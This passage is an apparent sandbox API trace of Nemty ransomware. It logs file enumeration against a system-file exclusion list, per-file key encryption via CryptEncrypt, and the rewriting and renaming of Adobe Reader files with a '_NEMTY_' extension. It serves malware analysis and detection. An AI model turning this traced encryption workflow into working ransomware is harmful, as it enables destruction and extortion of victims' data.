hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0184.739] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Spelling.SVE", cAlternateFileName="")) returned 1 [0184.739] lstrcmpiW (lpString1="Spelling.SVE", lpString2=".") returned 1 [0184.739] lstrcmpiW (lpString1="Spelling.SVE", lpString2="..") returned 1 [0184.739] lstrcmpiW (lpString1="Spelling.SVE", lpString2="...") returned 1 [0184.739] lstrcmpiW (lpString1="Spelling.SVE", lpString2="windows") returned -1 [0184.739] lstrcmpiW (lpString1="Spelling.SVE", lpString2="$RECYCLE.BIN") returned 1 [0184.739] lstrcmpiW (lpString1="Spelling.SVE", lpString2="rsa") returned 1 [0184.739] lstrcmpiW (lpString1="Spelling.SVE", lpString2="NTDETECT.COM") returned 1 [0184.739] lstrcmpiW (lpString1="Spelling.SVE", lpString2="ntldr") returned 1 [0184.739] lstrcmpiW (lpString1="Spelling.SVE", lpString2="MSDOS.SYS") returned 1 [0184.739] lstrcmpiW (lpString1="Spelling.SVE", lpString2="IO.SYS") returned 1 [0184.739] lstrcmpiW (lpString1="Spelling.SVE", lpString2="boot.ini") returned 1 [0184.739] lstrcmpiW (lpString1="Spelling.SVE", lpString2="boot.ini") returned 1 [0184.739] lstrcmpiW (lpString1="Spelling.SVE", lpString2="AUTOEXEC.BAT") returned 1 [0184.739] lstrcmpiW (lpString1="Spelling.SVE", lpString2="ntuser.dat") returned 1 [0184.739] lstrcmpiW (lpString1="Spelling.SVE", lpString2="desktop.ini") returned 1 [0184.739] lstrcmpiW (lpString1="Spelling.SVE", lpString2="CONFIG.SYS") returned 1 [0184.739] lstrcmpiW (lpString1="Spelling.SVE", lpString2="RECYCLER") returned 1 [0184.739] lstrcmpiW (lpString1="Spelling.SVE", lpString2="BOOTSECT.BAK") returned 1 [0184.739] lstrcmpiW (lpString1="Spelling.SVE", lpString2="bootmgr") returned 1 [0184.739] lstrcmpiW (lpString1="Spelling.SVE", lpString2="programdata") returned 1 [0184.739] lstrcmpiW (lpString1="Spelling.SVE", lpString2="appdata") returned 1 [0184.739] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.739] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SVE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SVE", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.SVE", lpUsedDefaultChar=0x0) returned 12 [0184.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SVE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SVE", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.SVE", lpUsedDefaultChar=0x0) returned 12 [0184.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SVE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SVE", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.SVE", lpUsedDefaultChar=0x0) returned 12 [0184.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SVE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SVE", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.SVE", lpUsedDefaultChar=0x0) returned 12 [0184.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0184.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0184.740] Sleep (dwMilliseconds=0x5) [0184.749] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21c400d0, dwHighDateTime=0x1d561e8)) [0184.749] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21c400d0, dwHighDateTime=0x1d561e8)) [0184.749] GetLastError () returned 0x12 [0184.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.749] GetLastError () returned 0x12 [0184.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.749] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.749] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.749] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0184.749] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="mv7B+voJv1m6vnLmRnEvTYYPPBKtMQiP1p6MPiAo2MtszV83+BDcGVht5BiWEG/d\r\nQUNxUMa7JL0EQOm6ZJuktild0/tkvXGdc2aPUM/IVvZTZMm/NXTnQqXQ9ucWgiRu\r\nYA9IP1d+LLIOOCnp9cxn46AkkBebz+0o64GFYNzWB05QTmWmUDbgYLlRIUjGIasx\r\nnGnSKipJLwLambLtVtNlOBm3c4InHMR3X4XUCbGNqhPKuuy6+gTVBnYXFU6ZhO+x\r\nbj13VPxnk8SSLCCI1tjHRmioL+5ixm36MLBdzcYMbi7LY7l8R3bLi7T9wGUb3rKn\r\nB8oWc8xgTAnw0JsZlF/OwQ==\r\n", pcchString=0x653e5dc) returned 1 [0184.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0184.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.749] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Spelling.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\spelling.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.750] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10240) returned 1 [0184.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2800) returned 0x6352c48 [0184.750] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.750] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2800, lpOverlapped=0x0) returned 1 [0184.752] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.752] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2800, lpOverlapped=0x0) returned 1 [0184.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.752] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2800 [0184.752] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.752] CloseHandle (hObject=0x2e8) returned 1 [0184.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0184.752] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.752] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0184.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0184.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0184.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.753] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Spelling.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\spelling.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Spelling.SVE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\spelling.sve._nemty_kgobjgd_")) returned 1 [0184.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0184.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0184.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.753] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4be5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="updater.SVE", cAlternateFileName="")) returned 1 [0184.753] lstrcmpiW (lpString1="updater.SVE", lpString2=".") returned 1 [0184.753] lstrcmpiW (lpString1="updater.SVE", lpString2="..") returned 1 [0184.753] lstrcmpiW (lpString1="updater.SVE", lpString2="...") returned 1 [0184.753] lstrcmpiW (lpString1="updater.SVE", lpString2="windows") returned -1 [0184.753] lstrcmpiW (lpString1="updater.SVE", lpString2="$RECYCLE.BIN") returned 1 [0184.753] lstrcmpiW (lpString1="updater.SVE", lpString2="rsa") returned 1 [0184.753] lstrcmpiW (lpString1="updater.SVE", lpString2="NTDETECT.COM") returned 1 [0184.753] lstrcmpiW (lpString1="updater.SVE", lpString2="ntldr") returned 1 [0184.753] lstrcmpiW (lpString1="updater.SVE", lpString2="MSDOS.SYS") returned 1 [0184.754] lstrcmpiW (lpString1="updater.SVE", lpString2="IO.SYS") returned 1 [0184.754] lstrcmpiW (lpString1="updater.SVE", lpString2="boot.ini") returned 1 [0184.754] lstrcmpiW (lpString1="updater.SVE", lpString2="boot.ini") returned 1 [0184.754] lstrcmpiW (lpString1="updater.SVE", lpString2="AUTOEXEC.BAT") returned 1 [0184.754] lstrcmpiW (lpString1="updater.SVE", lpString2="ntuser.dat") returned 1 [0184.754] lstrcmpiW (lpString1="updater.SVE", lpString2="desktop.ini") returned 1 [0184.754] lstrcmpiW (lpString1="updater.SVE", lpString2="CONFIG.SYS") returned 1 [0184.754] lstrcmpiW (lpString1="updater.SVE", lpString2="RECYCLER") returned 1 [0184.754] lstrcmpiW (lpString1="updater.SVE", lpString2="BOOTSECT.BAK") returned 1 [0184.754] lstrcmpiW (lpString1="updater.SVE", lpString2="bootmgr") returned 1 [0184.754] lstrcmpiW (lpString1="updater.SVE", lpString2="programdata") returned 1 [0184.754] lstrcmpiW (lpString1="updater.SVE", lpString2="appdata") returned 1 [0184.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.SVE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.SVE", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.SVE", lpUsedDefaultChar=0x0) returned 11 [0184.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.SVE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.SVE", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.SVE", lpUsedDefaultChar=0x0) returned 11 [0184.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.SVE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.SVE", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.SVE", lpUsedDefaultChar=0x0) returned 11 [0184.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.SVE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.SVE", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.SVE", lpUsedDefaultChar=0x0) returned 11 [0184.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0184.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.754] Sleep (dwMilliseconds=0x5) [0184.770] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21c66230, dwHighDateTime=0x1d561e8)) [0184.770] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21c66230, dwHighDateTime=0x1d561e8)) [0184.770] GetLastError () returned 0x0 [0184.770] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.770] GetLastError () returned 0x0 [0184.770] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.770] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.770] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.770] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.771] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0184.771] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="dPmtNEwHIsSKVQzGwnUpCKaUSv+EYDr3UwrpJBhZxIEUB6qUzRd6FTNVJjdH82W+\r\nl0YmiyuIJ1v8qbFGx+SloK7liW2j/B0ER+79DhYEF4ueeBXR9p3IT7yk5qW1KwZJ\r\nSnkem1UOo2zvFoWxpqAR0fhhfKENIjzeJTftUSK2VJF//nzkeGjrDSjN1/FTUltg\r\nlBaUkgSRa5NNSlMERb/YurLslnFxiOrY/ZXMzveDT/+UsKx00vvxCPwO81hoVxSn\r\nmA6TMvg+7AMjYF3ZBnlEaUIxnicMvlhgbeP9w9KCcu4Cq5Mf/7VF7VSBDmPhayfD\r\nlqs3h1J3d5CpQt72vIbsdQ==\r\n", pcchString=0x653e5dc) returned 1 [0184.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0184.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.771] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\updater.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\updater.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.771] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10240) returned 1 [0184.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2800) returned 0x6352c48 [0184.771] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.771] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2800, lpOverlapped=0x0) returned 1 [0184.773] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.774] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2800, lpOverlapped=0x0) returned 1 [0184.774] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.774] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2800 [0184.774] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.774] CloseHandle (hObject=0x2e8) returned 1 [0184.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0184.774] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.774] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.774] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0184.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0184.774] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0184.774] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.774] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\updater.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\updater.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\updater.SVE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\updater.sve._nemty_kgobjgd_")) returned 1 [0184.775] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 